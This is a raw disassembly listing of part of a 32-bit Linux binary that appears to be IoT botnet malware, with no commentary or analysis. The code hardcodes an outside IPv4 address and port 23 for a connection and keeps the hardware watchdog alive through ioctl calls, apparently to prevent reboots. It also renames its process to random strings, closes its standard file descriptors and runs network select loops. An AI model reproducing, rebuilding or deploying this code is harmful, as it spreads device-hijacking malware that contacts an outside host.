804a83f: 8d bc 24 40 10 00 00 lea 0x1040(%esp),%edi | |
804a846: 57 push %edi | |
804a847: e8 54 16 00 00 call 0x804bea0 | |
804a84c: 83 c4 10 add $0x10,%esp | |
804a84f: 40 inc %eax | |
804a850: 74 21 je 0x804a873 | |
804a852: 83 ec 0c sub $0xc,%esp | |
804a855: 8d 84 24 40 10 00 00 lea 0x1040(%esp),%eax | |
804a85c: 50 push %eax | |
804a85d: e8 0b 1b 00 00 call 0x804c36d | |
804a862: 58 pop %eax | |
804a863: 5a pop %edx | |
804a864: 6a 09 push $0x9 | |
804a866: 8b 44 24 2c mov 0x2c(%esp),%eax | |
804a86a: 50 push %eax | |
804a86b: e8 42 19 00 00 call 0x804c1b2 | |
804a870: 83 c4 10 add $0x10,%esp | |
804a873: 83 ec 0c sub $0xc,%esp | |
804a876: 6a 1e push $0x1e | |
804a878: e8 33 0d 00 00 call 0x804b5b0 | |
804a87d: e8 a5 18 00 00 call 0x804c127 | |
804a882: 83 c4 10 add $0x10,%esp | |
804a885: 39 44 24 20 cmp %eax,0x20(%esp) | |
804a889: 74 27 je 0x804a8b2 | |
804a88b: e8 bd 18 00 00 call 0x804c14d | |
804a890: 39 44 24 20 cmp %eax,0x20(%esp) | |
804a894: 74 1c je 0x804a8b2 | |
804a896: 50 push %eax | |
804a897: 50 push %eax | |
804a898: a1 0c f1 04 08 mov 0x804f10c,%eax | |
804a89d: 50 push %eax | |
804a89e: 8d bc 24 40 10 00 00 lea 0x1040(%esp),%edi | |
804a8a5: 57 push %edi | |
804a8a6: e8 75 16 00 00 call 0x804bf20 | |
804a8ab: 83 c4 10 add $0x10,%esp | |
804a8ae: 84 c0 test %al,%al | |
804a8b0: 74 5f je 0x804a911 | |
804a8b2: 8b 6c 24 20 mov 0x20(%esp),%ebp | |
804a8b6: 8b 74 24 14 mov 0x14(%esp),%esi | |
804a8ba: e9 01 fe ff ff jmp 0x804a6c0 | |
804a8bf: 83 ec 0c sub $0xc,%esp | |
804a8c2: 8b 44 24 28 mov 0x28(%esp),%eax | |
804a8c6: 50 push %eax | |
804a8c7: e8 05 1b 00 00 call 0x804c3d1 | |
804a8cc: 83 c4 10 add $0x10,%esp | |
804a8cf: e9 24 fb ff ff jmp 0x804a3f8 | |
804a8d4: 81 7c 24 20 90 01 00 cmpl $0x190,0x20(%esp) | |
804a8db: 00 | |
804a8dc: 0f 8e de fd ff ff jle 0x804a6c0 | |
804a8e2: b8 cd cc cc cc mov $0xcccccccd,%eax | |
804a8e7: f7 64 24 18 mull 0x18(%esp) | |
804a8eb: 89 d0 mov %edx,%eax | |
804a8ed: c1 e8 03 shr $0x3,%eax | |
804a8f0: 8d 04 80 lea (%eax,%eax,4),%eax | |
804a8f3: 01 c0 add %eax,%eax | |
804a8f5: 39 44 24 18 cmp %eax,0x18(%esp) | |
804a8f9: 0f 85 c1 fd ff ff jne 0x804a6c0 | |
804a8ff: 83 ec 0c sub $0xc,%esp | |
804a902: 6a 01 push $0x1 | |
804a904: e8 83 31 00 00 call 0x804da8c | |
804a909: 83 c4 10 add $0x10,%esp | |
804a90c: e9 af fd ff ff jmp 0x804a6c0 | |
804a911: 50 push %eax | |
804a912: 50 push %eax | |
804a913: 6a 00 push $0x0 | |
804a915: 8d 84 24 40 10 00 00 lea 0x1040(%esp),%eax | |
804a91c: 50 push %eax | |
804a91d: e8 c2 18 00 00 call 0x804c1e4 | |
804a922: 83 c4 10 add $0x10,%esp | |
804a925: 89 c3 mov %eax,%ebx | |
804a927: 83 f8 ff cmp $0xffffffff,%eax | |
804a92a: 75 11 jne 0x804a93d | |
804a92c: 55 push %ebp | |
804a92d: 55 push %ebp | |
804a92e: 6a 09 push $0x9 | |
804a930: 8b 7c 24 2c mov 0x2c(%esp),%edi | |
804a934: 57 push %edi | |
804a935: e8 78 18 00 00 call 0x804c1b2 | |
804a93a: 83 c4 10 add $0x10,%esp | |
804a93d: 83 ec 0c sub $0xc,%esp | |
804a940: 53 push %ebx | |
804a941: e8 8d 17 00 00 call 0x804c0d3 | |
804a946: 83 c4 10 add $0x10,%esp | |
804a949: 56 push %esi | |
804a94a: 56 push %esi | |
804a94b: 6a 00 push $0x0 | |
804a94d: 8d bc 24 40 20 00 00 lea 0x2040(%esp),%edi | |
804a954: 57 push %edi | |
804a955: e8 8a 18 00 00 call 0x804c1e4 | |
804a95a: 89 44 24 38 mov %eax,0x38(%esp) | |
804a95e: 83 c4 10 add $0x10,%esp | |
804a961: 40 inc %eax | |
804a962: 0f 84 f9 00 00 00 je 0x804aa61 | |
804a968: 83 ec 0c sub $0xc,%esp | |
804a96b: 6a 12 push $0x12 | |
804a96d: e8 be 0c 00 00 call 0x804b630 | |
804a972: c7 04 24 13 00 00 00 movl $0x13,(%esp) | |
804a979: e8 b2 0c 00 00 call 0x804b630 | |
804a97e: 59 pop %ecx | |
804a97f: 5b pop %ebx | |
804a980: 8d 84 24 10 21 00 00 lea 0x2110(%esp),%eax | |
804a987: 50 push %eax | |
804a988: 6a 12 push $0x12 | |
804a98a: e8 f1 0b 00 00 call 0x804b580 | |
804a98f: 89 44 24 34 mov %eax,0x34(%esp) | |
804a993: 58 pop %eax | |
804a994: 5a pop %edx | |
804a995: 8d 84 24 0c 21 00 00 lea 0x210c(%esp),%eax | |
804a99c: 50 push %eax | |
804a99d: 6a 13 push $0x13 | |
804a99f: e8 dc 0b 00 00 call 0x804b580 | |
804a9a4: 83 c4 10 add $0x10,%esp | |
804a9a7: 89 c5 mov %eax,%ebp | |
804a9a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi | |
804a9b0: 50 push %eax | |
804a9b1: 68 00 10 00 00 push $0x1000 | |
804a9b6: 8d 44 24 3c lea 0x3c(%esp),%eax | |
804a9ba: 50 push %eax | |
804a9bb: 8b 44 24 34 mov 0x34(%esp),%eax | |
804a9bf: 50 push %eax | |
804a9c0: e8 a9 18 00 00 call 0x804c26e | |
804a9c5: 83 c4 10 add $0x10,%esp | |
804a9c8: 89 c1 mov %eax,%ecx | |
804a9ca: 85 c0 test %eax,%eax | |
804a9cc: 0f 8e 36 01 00 00 jle 0x804ab08 | |
804a9d2: 8b 84 24 08 21 00 00 mov 0x2108(%esp),%eax | |
804a9d9: 89 44 24 0c mov %eax,0xc(%esp) | |
804a9dd: 39 c1 cmp %eax,%ecx | |
804a9df: 7c 23 jl 0x804aa04 | |
804a9e1: 89 ca mov %ecx,%edx | |
804a9e3: 31 f6 xor %esi,%esi | |
804a9e5: 4a dec %edx | |
804a9e6: 8d 5c 24 34 lea 0x34(%esp),%ebx | |
804a9ea: 83 fa ff cmp $0xffffffff,%edx | |
804a9ed: 74 15 je 0x804aa04 | |
804a9ef: 90 nop | |
804a9f0: 8b 7c 24 24 mov 0x24(%esp),%edi | |
804a9f4: 8a 03 mov (%ebx),%al | |
804a9f6: 3a 04 37 cmp (%edi,%esi,1),%al | |
804a9f9: 74 2d je 0x804aa28 | |
804a9fb: 31 f6 xor %esi,%esi | |
804a9fd: 4a dec %edx | |
804a9fe: 43 inc %ebx | |
804a9ff: 83 fa ff cmp $0xffffffff,%edx | |
804aa02: 75 ec jne 0x804a9f0 | |
804aa04: 8b b4 24 04 21 00 00 mov 0x2104(%esp),%esi | |
804aa0b: 39 f1 cmp %esi,%ecx | |
804aa0d: 7c a1 jl 0x804a9b0 | |
804aa0f: 8d 54 24 34 lea 0x34(%esp),%edx | |
804aa13: 31 db xor %ebx,%ebx | |
804aa15: 49 dec %ecx | |
804aa16: 83 f9 ff cmp $0xffffffff,%ecx | |
804aa19: 74 95 je 0x804a9b0 | |
804aa1b: 8a 02 mov (%edx),%al | |
804aa1d: 3a 44 1d 00 cmp 0x0(%ebp,%ebx,1),%al | |
804aa21: 74 7d je 0x804aaa0 | |
804aa23: 31 db xor %ebx,%ebx | |
804aa25: 42 inc %edx | |
804aa26: eb ed jmp 0x804aa15 | |
804aa28: 46 inc %esi | |
804aa29: 39 74 24 0c cmp %esi,0xc(%esp) | |
804aa2d: 75 ce jne 0x804a9fd | |
804aa2f: 83 ec 0c sub $0xc,%esp | |
804aa32: 6a 12 push $0x12 | |
804aa34: e8 77 0b 00 00 call 0x804b5b0 | |
804aa39: c7 04 24 13 00 00 00 movl $0x13,(%esp) | |
804aa40: e8 6b 0b 00 00 call 0x804b5b0 | |
804aa45: 58 pop %eax | |
804aa46: 8b 6c 24 34 mov 0x34(%esp),%ebp | |
804aa4a: 55 push %ebp | |
804aa4b: e8 83 16 00 00 call 0x804c0d3 | |
804aa50: 5e pop %esi | |
804aa51: 5f pop %edi | |
804aa52: 6a 09 push $0x9 | |
804aa54: 8b 5c 24 2c mov 0x2c(%esp),%ebx | |
804aa58: 53 push %ebx | |
804aa59: e8 54 17 00 00 call 0x804c1b2 | |
804aa5e: 83 c4 10 add $0x10,%esp | |
804aa61: 51 push %ecx | |
804aa62: 51 push %ecx | |
804aa63: 6a 40 push $0x40 | |
804aa65: 8d bc 24 40 20 00 00 lea 0x2040(%esp),%edi | |
804aa6c: 57 push %edi | |
804aa6d: e8 1e 12 00 00 call 0x804bc90 | |
804aa72: 58 pop %eax | |
804aa73: 5a pop %edx | |
804aa74: 6a 40 push $0x40 | |
804aa76: 8d 84 24 80 20 00 00 lea 0x2080(%esp),%eax | |
804aa7d: 50 push %eax | |
804aa7e: e8 0d 12 00 00 call 0x804bc90 | |
804aa83: c7 04 24 01 00 00 00 movl $0x1,(%esp) | |
804aa8a: e8 fd 2f 00 00 call 0x804da8c | |
804aa8f: 8b 6c 24 30 mov 0x30(%esp),%ebp | |
804aa93: 8b 74 24 24 mov 0x24(%esp),%esi | |
804aa97: 83 c4 10 add $0x10,%esp | |
804aa9a: e9 21 fc ff ff jmp 0x804a6c0 | |
804aa9f: 90 nop | |
804aaa0: 43 inc %ebx | |
804aaa1: 39 de cmp %ebx,%esi | |
804aaa3: 74 8a je 0x804aa2f | |
804aaa5: 42 inc %edx | |
804aaa6: e9 6a ff ff ff jmp 0x804aa15 | |
804aaab: 83 ec 0c sub $0xc,%esp | |
804aaae: 68 d0 a5 00 00 push $0xa5d0 | |
804aab3: e8 88 f1 ff ff call 0x8049c40 | |
804aab8: 83 c4 10 add $0x10,%esp | |
804aabb: 84 c0 test %al,%al | |
804aabd: 0f 85 2a fb ff ff jne 0x804a5ed | |
804aac3: 83 ec 0c sub $0xc,%esp | |
804aac6: 68 00 50 00 00 push $0x5000 | |
804aacb: e8 70 f1 ff ff call 0x8049c40 | |
804aad0: 83 c4 10 add $0x10,%esp | |
804aad3: 84 c0 test %al,%al | |
804aad5: 0f 85 12 fb ff ff jne 0x804a5ed | |
804aadb: 83 ec 0c sub $0xc,%esp | |
804aade: 68 ce 85 00 00 push $0x85ce | |
804aae3: e8 58 f1 ff ff call 0x8049c40 | |
804aae8: 83 c4 10 add $0x10,%esp | |
804aaeb: 84 c0 test %al,%al | |
804aaed: 0f 85 fa fa ff ff jne 0x804a5ed | |
804aaf3: 83 ec 0c sub $0xc,%esp | |
804aaf6: 68 91 5f 00 00 push $0x5f91 | |
804aafb: e8 40 f1 ff ff call 0x8049c40 | |
804ab00: 83 c4 10 add $0x10,%esp | |
804ab03: e9 e5 fa ff ff jmp 0x804a5ed | |
804ab08: 83 ec 0c sub $0xc,%esp | |
804ab0b: 6a 12 push $0x12 | |
804ab0d: e8 9e 0a 00 00 call 0x804b5b0 | |
804ab12: c7 04 24 13 00 00 00 movl $0x13,(%esp) | |
804ab19: e8 92 0a 00 00 call 0x804b5b0 | |
804ab1e: 58 pop %eax | |
804ab1f: 8b 44 24 34 mov 0x34(%esp),%eax | |
804ab23: 50 push %eax | |
804ab24: e8 aa 15 00 00 call 0x804c0d3 | |
804ab29: 83 c4 10 add $0x10,%esp | |
804ab2c: e9 30 ff ff ff jmp 0x804aa61 | |
804ab31: 90 nop | |
804ab32: 90 nop | |
804ab33: 90 nop | |
804ab34: 90 nop | |
804ab35: 90 nop | |
804ab36: 90 nop | |
804ab37: 90 nop | |
804ab38: 90 nop | |
804ab39: 90 nop | |
804ab3a: 90 nop | |
804ab3b: 90 nop | |
804ab3c: 90 nop | |
804ab3d: 90 nop | |
804ab3e: 90 nop | |
804ab3f: 90 nop | |
804ab40: 83 ec 18 sub $0x18,%esp | |
804ab43: 6a 01 push $0x1 | |
804ab45: e8 e6 0a 00 00 call 0x804b630 | |
804ab4a: c7 04 24 82 e8 04 08 movl $0x804e882,(%esp) | |
804ab51: e8 e1 1a 00 00 call 0x804c637 | |
804ab56: a3 18 f1 04 08 mov %eax,0x804f118 | |
804ab5b: 58 pop %eax | |
804ab5c: 5a pop %edx | |
804ab5d: 6a 00 push $0x0 | |
804ab5f: 6a 01 push $0x1 | |
804ab61: e8 1a 0a 00 00 call 0x804b580 | |
804ab66: 66 8b 00 mov (%eax),%ax | |
804ab69: c7 04 24 01 00 00 00 movl $0x1,(%esp) | |
804ab70: 66 a3 16 f1 04 08 mov %ax,0x804f116 | |
804ab76: e8 35 0a 00 00 call 0x804b5b0 | |
804ab7b: 83 c4 1c add $0x1c,%esp | |
804ab7e: c3 ret | |
804ab7f: 90 nop | |
804ab80: 53 push %ebx | |
804ab81: 83 ec 18 sub $0x18,%esp | |
804ab84: e8 78 15 00 00 call 0x804c101 | |
804ab89: a3 c8 f0 04 08 mov %eax,0x804f0c8 | |
804ab8e: 85 c0 test %eax,%eax | |
804ab90: 7e 05 jle 0x804ab97 | |
804ab92: 83 c4 18 add $0x18,%esp | |
804ab95: 5b pop %ebx | |
804ab96: c3 ret | |
804ab97: 40 inc %eax | |
804ab98: 74 f8 je 0x804ab92 | |
804ab9a: c7 44 24 14 01 00 00 movl $0x1,0x14(%esp) | |
804aba1: 00 | |
804aba2: 83 ec 0c sub $0xc,%esp | |
804aba5: 6a 17 push $0x17 | |
804aba7: e8 84 0a 00 00 call 0x804b630 | |
804abac: c7 04 24 18 00 00 00 movl $0x18,(%esp) | |
804abb3: e8 78 0a 00 00 call 0x804b630 | |
804abb8: 5b pop %ebx | |
804abb9: 58 pop %eax | |
804abba: 6a 00 push $0x0 | |
804abbc: 6a 17 push $0x17 | |
804abbe: e8 bd 09 00 00 call 0x804b580 | |
804abc3: 5a pop %edx | |
804abc4: 59 pop %ecx | |
804abc5: 6a 02 push $0x2 | |
804abc7: 50 push %eax | |
804abc8: e8 17 16 00 00 call 0x804c1e4 | |
804abcd: 83 c4 10 add $0x10,%esp | |
804abd0: 89 c3 mov %eax,%ebx | |
804abd2: 83 f8 ff cmp $0xffffffff,%eax | |
804abd5: 74 38 je 0x804ac0f | |
804abd7: 50 push %eax | |
804abd8: 8d 44 24 18 lea 0x18(%esp),%eax | |
804abdc: 50 push %eax | |
804abdd: 68 04 57 04 80 push $0x80045704 | |
804abe2: 53 push %ebx | |
804abe3: e8 8b 15 00 00 call 0x804c173 | |
804abe8: 83 c4 10 add $0x10,%esp | |
804abeb: 90 nop | |
804abec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi | |
804abf0: 51 push %ecx | |
804abf1: 6a 00 push $0x0 | |
804abf3: 68 05 57 04 80 push $0x80045705 | |
804abf8: 53 push %ebx | |
804abf9: e8 75 15 00 00 call 0x804c173 | |
804abfe: c7 04 24 0a 00 00 00 movl $0xa,(%esp) | |
804ac05: e8 82 2e 00 00 call 0x804da8c | |
804ac0a: 83 c4 10 add $0x10,%esp | |
804ac0d: eb e1 jmp 0x804abf0 | |
804ac0f: 53 push %ebx | |
804ac10: 53 push %ebx | |
804ac11: 6a 00 push $0x0 | |
804ac13: 6a 18 push $0x18 | |
804ac15: e8 66 09 00 00 call 0x804b580 | |
804ac1a: 5a pop %edx | |
804ac1b: 59 pop %ecx | |
804ac1c: 6a 02 push $0x2 | |
804ac1e: 50 push %eax | |
804ac1f: e8 c0 15 00 00 call 0x804c1e4 | |
804ac24: 83 c4 10 add $0x10,%esp | |
804ac27: 89 c3 mov %eax,%ebx | |
804ac29: 83 f8 ff cmp $0xffffffff,%eax | |
804ac2c: 75 a9 jne 0x804abd7 | |
804ac2e: 83 ec 0c sub $0xc,%esp | |
804ac31: 6a 17 push $0x17 | |
804ac33: e8 78 09 00 00 call 0x804b5b0 | |
804ac38: c7 04 24 18 00 00 00 movl $0x18,(%esp) | |
804ac3f: e8 6c 09 00 00 call 0x804b5b0 | |
804ac44: c7 04 24 00 00 00 00 movl $0x0,(%esp) | |
804ac4b: e8 d5 2d 00 00 call 0x804da25 | |
804ac50: 8d 4c 24 04 lea 0x4(%esp),%ecx | |
804ac54: 83 e4 f0 and $0xfffffff0,%esp | |
804ac57: ff 71 fc pushl -0x4(%ecx) | |
804ac5a: 55 push %ebp | |
804ac5b: 57 push %edi | |
804ac5c: 56 push %esi | |
804ac5d: 53 push %ebx | |
804ac5e: 51 push %ecx | |
804ac5f: 81 ec 88 05 00 00 sub $0x588,%esp | |
804ac65: 8b 19 mov (%ecx),%ebx | |
804ac67: 8b 69 04 mov 0x4(%ecx),%ebp | |
804ac6a: c7 84 24 78 05 00 00 movl $0x0,0x578(%esp) | |
804ac71: 00 00 00 00 | |
804ac75: e8 a6 11 00 00 call 0x804be20 | |
804ac7a: 66 c7 05 14 f1 04 08 movw $0x2,0x804f114 | |
804ac81: 02 00 | |
804ac83: a3 08 f1 04 08 mov %eax,0x804f108 | |
804ac88: c7 05 18 f1 04 08 b0 movl $0x591a7bb0,0x804f118 | |
804ac8f: 7b 1a 59 | |
804ac92: 66 c7 05 16 f1 04 08 movw $0x1700,0x804f116 | |
804ac99: 00 17 | |
804ac9b: e8 10 0a 00 00 call 0x804b6b0 | |
804aca0: c7 05 30 f0 04 08 40 movl $0x804ab40,0x804f030 | |
804aca7: ab 04 08 | |
804acaa: e8 f1 06 00 00 call 0x804b3a0 | |
804acaf: 50 push %eax | |
804acb0: 50 push %eax | |
804acb1: 6a 20 push $0x20 | |
804acb3: 8d 84 24 3c 05 00 00 lea 0x53c(%esp),%eax | |
804acba: 50 push %eax | |
804acbb: e8 d0 0f 00 00 call 0x804bc90 | |
804acc0: 83 c4 10 add $0x10,%esp | |
804acc3: 83 fb 02 cmp $0x2,%ebx | |
804acc6: 0f 84 27 01 00 00 je 0x804adf3 | |
804accc: e8 7f 06 00 00 call 0x804b350 | |
804acd1: 83 ec 0c sub $0xc,%esp | |
804acd4: 89 c7 mov %eax,%edi | |
804acd6: 8b 45 00 mov 0x0(%ebp),%eax | |
804acd9: 50 push %eax | |
804acda: e8 21 0f 00 00 call 0x804bc00 | |
804acdf: 5e pop %esi | |
804ace0: 8b 4d 00 mov 0x0(%ebp),%ecx | |
804ace3: 51 push %ecx | |
804ace4: 89 c3 mov %eax,%ebx | |
804ace6: e8 15 0f 00 00 call 0x804bc00 | |
804aceb: be 14 00 00 00 mov $0x14,%esi | |
804acf0: 89 c1 mov %eax,%ecx | |
804acf2: 89 f0 mov %esi,%eax | |
804acf4: 29 d8 sub %ebx,%eax | |
804acf6: 31 d2 xor %edx,%edx | |
804acf8: 89 c3 mov %eax,%ebx | |
804acfa: 89 f8 mov %edi,%eax | |
804acfc: f7 f3 div %ebx | |
804acfe: 89 d3 mov %edx,%ebx | |
804ad00: 8d bc 24 60 05 00 00 lea 0x560(%esp),%edi | |
804ad07: 01 cb add %ecx,%ebx | |
804ad09: 58 pop %eax | |
804ad0a: 5a pop %edx | |
804ad0b: 53 push %ebx | |
804ad0c: 57 push %edi | |
804ad0d: e8 ce 06 00 00 call 0x804b3e0 | |
804ad12: c6 84 1c 60 05 00 00 movb $0x0,0x560(%esp,%ebx,1) | |
804ad19: 00 | |
804ad1a: 5b pop %ebx | |
804ad1b: 58 pop %eax | |
804ad1c: 57 push %edi | |
804ad1d: 8b 4d 00 mov 0x0(%ebp),%ecx | |
804ad20: 51 push %ecx | |
804ad21: e8 fa 0e 00 00 call 0x804bc20 | |
804ad26: 58 pop %eax | |
804ad27: 5a pop %edx | |
804ad28: 6a 20 push $0x20 | |
804ad2a: 57 push %edi | |
804ad2b: e8 60 0f 00 00 call 0x804bc90 | |
804ad30: e8 1b 06 00 00 call 0x804b350 | |
804ad35: 89 44 24 2c mov %eax,0x2c(%esp) | |
804ad39: 58 pop %eax | |
804ad3a: 8b 45 00 mov 0x0(%ebp),%eax | |
804ad3d: 50 push %eax | |
804ad3e: e8 bd 0e 00 00 call 0x804bc00 | |
804ad43: 8b 4d 00 mov 0x0(%ebp),%ecx | |
804ad46: 89 c3 mov %eax,%ebx | |
804ad48: 58 pop %eax | |
804ad49: 29 de sub %ebx,%esi | |
804ad4b: 51 push %ecx | |
804ad4c: e8 af 0e 00 00 call 0x804bc00 | |
804ad51: 31 d2 xor %edx,%edx | |
804ad53: 89 c1 mov %eax,%ecx | |
804ad55: 8b 44 24 2c mov 0x2c(%esp),%eax | |
804ad59: f7 f6 div %esi | |
804ad5b: 89 d3 mov %edx,%ebx | |
804ad5d: 58 pop %eax | |
804ad5e: 01 cb add %ecx,%ebx | |
804ad60: 5a pop %edx | |
804ad61: 53 push %ebx | |
804ad62: 57 push %edi | |
804ad63: e8 78 06 00 00 call 0x804b3e0 | |
804ad68: c6 84 1c 60 05 00 00 movb $0x0,0x560(%esp,%ebx,1) | |
804ad6f: 00 | |
804ad70: 5d pop %ebp | |
804ad71: 58 pop %eax | |
804ad72: 57 push %edi | |
804ad73: 6a 0f push $0xf | |
804ad75: e8 b5 14 00 00 call 0x804c22f | |
804ad7a: c7 04 24 03 00 00 00 movl $0x3,(%esp) | |
804ad81: e8 aa 08 00 00 call 0x804b630 | |
804ad86: 5e pop %esi | |
804ad87: 5f pop %edi | |
804ad88: 8d 84 24 80 05 00 00 lea 0x580(%esp),%eax | |
804ad8f: 50 push %eax | |
804ad90: 6a 03 push $0x3 | |
804ad92: e8 e9 07 00 00 call 0x804b580 | |
804ad97: 83 c4 0c add $0xc,%esp | |
804ad9a: 8b 9c 24 7c 05 00 00 mov 0x57c(%esp),%ebx | |
804ada1: 53 push %ebx | |
804ada2: 50 push %eax | |
804ada3: 6a 01 push $0x1 | |
804ada5: e8 f1 15 00 00 call 0x804c39b | |
804adaa: 83 c4 0c add $0xc,%esp | |
804adad: 6a 01 push $0x1 | |
804adaf: 68 92 e8 04 08 push $0x804e892 | |
804adb4: 6a 01 push $0x1 | |
804adb6: e8 e0 15 00 00 call 0x804c39b | |
804adbb: c7 04 24 03 00 00 00 movl $0x3,(%esp) | |
804adc2: e8 e9 07 00 00 call 0x804b5b0 | |
804adc7: e8 e4 d7 ff ff call 0x80485b0 | |
804adcc: e8 bf f4 ff ff call 0x804a290 | |
804add1: e8 aa fd ff ff call 0x804ab80 | |
804add6: e8 26 13 00 00 call 0x804c101 | |
804addb: 83 c4 10 add $0x10,%esp | |
804adde: 85 c0 test %eax,%eax | |
804ade0: 7e 5e jle 0x804ae40 | |
804ade2: 81 c4 88 05 00 00 add $0x588,%esp | |
804ade8: 31 c0 xor %eax,%eax | |
804adea: 59 pop %ecx | |
804adeb: 5b pop %ebx | |
804adec: 5e pop %esi | |
804aded: 5f pop %edi | |
804adee: 5d pop %ebp | |
804adef: 8d 61 fc lea -0x4(%ecx),%esp | |
804adf2: c3 ret | |
804adf3: 83 ec 0c sub $0xc,%esp | |
804adf6: 8b 45 04 mov 0x4(%ebp),%eax | |
804adf9: 50 push %eax | |
804adfa: e8 01 0e 00 00 call 0x804bc00 | |
804adff: 83 c4 10 add $0x10,%esp | |
804ae02: 83 f8 1f cmp $0x1f,%eax | |
804ae05: 0f 8f c1 fe ff ff jg 0x804accc | |
804ae0b: 50 push %eax | |
804ae0c: 50 push %eax | |
804ae0d: 8b 7d 04 mov 0x4(%ebp),%edi | |
804ae10: 57 push %edi | |
804ae11: 8d 94 24 3c 05 00 00 lea 0x53c(%esp),%edx | |
804ae18: 52 push %edx | |
804ae19: e8 02 0e 00 00 call 0x804bc20 | |
804ae1e: 5e pop %esi | |
804ae1f: 8b 5d 04 mov 0x4(%ebp),%ebx | |
804ae22: 53 push %ebx | |
804ae23: e8 d8 0d 00 00 call 0x804bc00 | |
804ae28: 5a pop %edx | |
804ae29: 59 pop %ecx | |
804ae2a: 50 push %eax | |
804ae2b: 8b 45 04 mov 0x4(%ebp),%eax | |
804ae2e: 50 push %eax | |
804ae2f: e8 5c 0e 00 00 call 0x804bc90 | |
804ae34: 83 c4 10 add $0x10,%esp | |
804ae37: e9 90 fe ff ff jmp 0x804accc | |
804ae3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi | |
804ae40: e8 d4 14 00 00 call 0x804c319 | |
804ae45: 83 ec 0c sub $0xc,%esp | |
804ae48: 6a 00 push $0x0 | |
804ae4a: e8 84 12 00 00 call 0x804c0d3 | |
804ae4f: c7 04 24 01 00 00 00 movl $0x1,(%esp) | |
804ae56: e8 78 12 00 00 call 0x804c0d3 | |
804ae5b: c7 04 24 02 00 00 00 movl $0x2,(%esp) | |
804ae62: e8 6c 12 00 00 call 0x804c0d3 | |
804ae67: e8 44 d7 ff ff call 0x80485b0 | |
804ae6c: e8 1f f4 ff ff call 0x804a290 | |
804ae71: e8 0a fd ff ff call 0x804ab80 | |
804ae76: c7 44 24 30 00 00 00 movl $0x0,0x30(%esp) | |
804ae7d: 00 | |
804ae7e: 83 c4 10 add $0x10,%esp | |
804ae81: 8d ac 24 b0 04 00 00 lea 0x4b0(%esp),%ebp | |
804ae88: 8d b4 24 30 04 00 00 lea 0x430(%esp),%esi | |
804ae8f: 90 nop | |
804ae90: ba 20 00 00 00 mov $0x20,%edx | |
804ae95: 31 c0 xor %eax,%eax | |
804ae97: 89 d1 mov %edx,%ecx | |
804ae99: 89 ef mov %ebp,%edi | |
804ae9b: fc cld | |
804ae9c: f3 ab rep stos %eax,%es:(%edi) | |
804ae9e: 89 d1 mov %edx,%ecx | |
804aea0: 89 f7 mov %esi,%edi | |
804aea2: fc cld | |
804aea3: f3 ab rep stos %eax,%es:(%edi) | |
804aea5: 8b 15 28 f0 04 08 mov 0x804f028,%edx | |
804aeab: 83 fa ff cmp $0xffffffff,%edx | |
804aeae: 74 10 je 0x804aec0 | |
804aeb0: 89 d0 mov %edx,%eax | |
804aeb2: 83 e2 1f and $0x1f,%edx | |
804aeb5: c1 e8 05 shr $0x5,%eax | |
804aeb8: 0f ab 94 84 b0 04 00 bts %edx,0x4b0(%esp,%eax,4) | |
804aebf: 00 | |
804aec0: 83 3d 2c f0 04 08 ff cmpl $0xffffffff,0x804f02c | |
804aec7: 0f 84 fa 01 00 00 je 0x804b0c7 | |
804aecd: 80 3d cc f0 04 08 00 cmpb $0x0,0x804f0cc | |
804aed4: 0f 84 ec 00 00 00 je 0x804afc6 | |
804aeda: a1 2c f0 04 08 mov 0x804f02c,%eax | |
804aedf: 89 c2 mov %eax,%edx | |
804aee1: 83 e0 1f and $0x1f,%eax | |
804aee4: c1 ea 05 shr $0x5,%edx | |
804aee7: 0f ab 84 94 30 04 00 bts %eax,0x430(%esp,%edx,4) | |
804aeee: 00 | |
804aeef: 8b 15 2c f0 04 08 mov 0x804f02c,%edx | |
804aef5: a1 28 f0 04 08 mov 0x804f028,%eax | |
804aefa: 39 d0 cmp %edx,%eax | |
804aefc: 7d 02 jge 0x804af00 | |
804aefe: 89 d0 mov %edx,%eax | |
804af00: c7 84 24 74 05 00 00 movl $0x0,0x574(%esp) | |
804af07: 00 00 00 00 | |
804af0b: c7 84 24 70 05 00 00 movl $0xa,0x570(%esp) | |
804af12: 0a 00 00 00 | |
804af16: 83 ec 0c sub $0xc,%esp | |
804af19: 40 inc %eax | |
804af1a: 8d 94 24 7c 05 00 00 lea 0x57c(%esp),%edx | |
804af21: 52 push %edx | |
804af22: 6a 00 push $0x0 | |
804af24: 56 push %esi | |
804af25: 55 push %ebp | |
804af26: 50 push %eax | |
804af27: e8 ae 13 00 00 call 0x804c2da | |
804af2c: 83 c4 20 add $0x20,%esp | |
804af2f: 83 f8 ff cmp $0xffffffff,%eax | |
804af32: 0f 84 58 ff ff ff je 0x804ae90 | |
804af38: 85 c0 test %eax,%eax | |
804af3a: 75 2a jne 0x804af66 | |
804af3c: 8b 54 24 20 mov 0x20(%esp),%edx | |
804af40: b0 06 mov $0x6,%al | |
804af42: 89 c1 mov %eax,%ecx | |
804af44: 89 d0 mov %edx,%eax | |
804af46: c1 fa 1f sar $0x1f,%edx | |
804af49: 66 c7 84 24 86 05 00 movw $0x0,0x586(%esp) | |
804af50: 00 00 00 | |
804af53: f7 f9 idiv %ecx | |
804af55: 8b 44 24 20 mov 0x20(%esp),%eax | |
804af59: 40 inc %eax | |
804af5a: 85 d2 test %edx,%edx | |
804af5c: 89 44 24 20 mov %eax,0x20(%esp) | |
804af60: 0f 84 5d 02 00 00 je 0x804b1c3 | |
804af66: 80 3d cc f0 04 08 00 cmpb $0x0,0x804f0cc | |
804af6d: 74 71 je 0x804afe0 | |
804af6f: 8b 0d 2c f0 04 08 mov 0x804f02c,%ecx | |
804af75: c6 05 cc f0 04 08 00 movb $0x0,0x804f0cc | |
804af7c: 89 c8 mov %ecx,%eax | |
804af7e: 89 ca mov %ecx,%edx | |
804af80: c1 ea 05 shr $0x5,%edx | |
804af83: 83 e0 1f and $0x1f,%eax | |
804af86: 0f a3 84 94 30 04 00 bt %eax,0x430(%esp,%edx,4) | |
804af8d: 00 | |
804af8e: 0f 92 c0 setb %al | |
804af91: 84 c0 test %al,%al | |
804af93: 0f 85 9a 01 00 00 jne 0x804b133 | |
804af99: 83 f9 ff cmp $0xffffffff,%ecx | |
804af9c: 74 0c je 0x804afaa | |
804af9e: 83 ec 0c sub $0xc,%esp | |
804afa1: 51 push %ecx | |
804afa2: e8 2c 11 00 00 call 0x804c0d3 | |
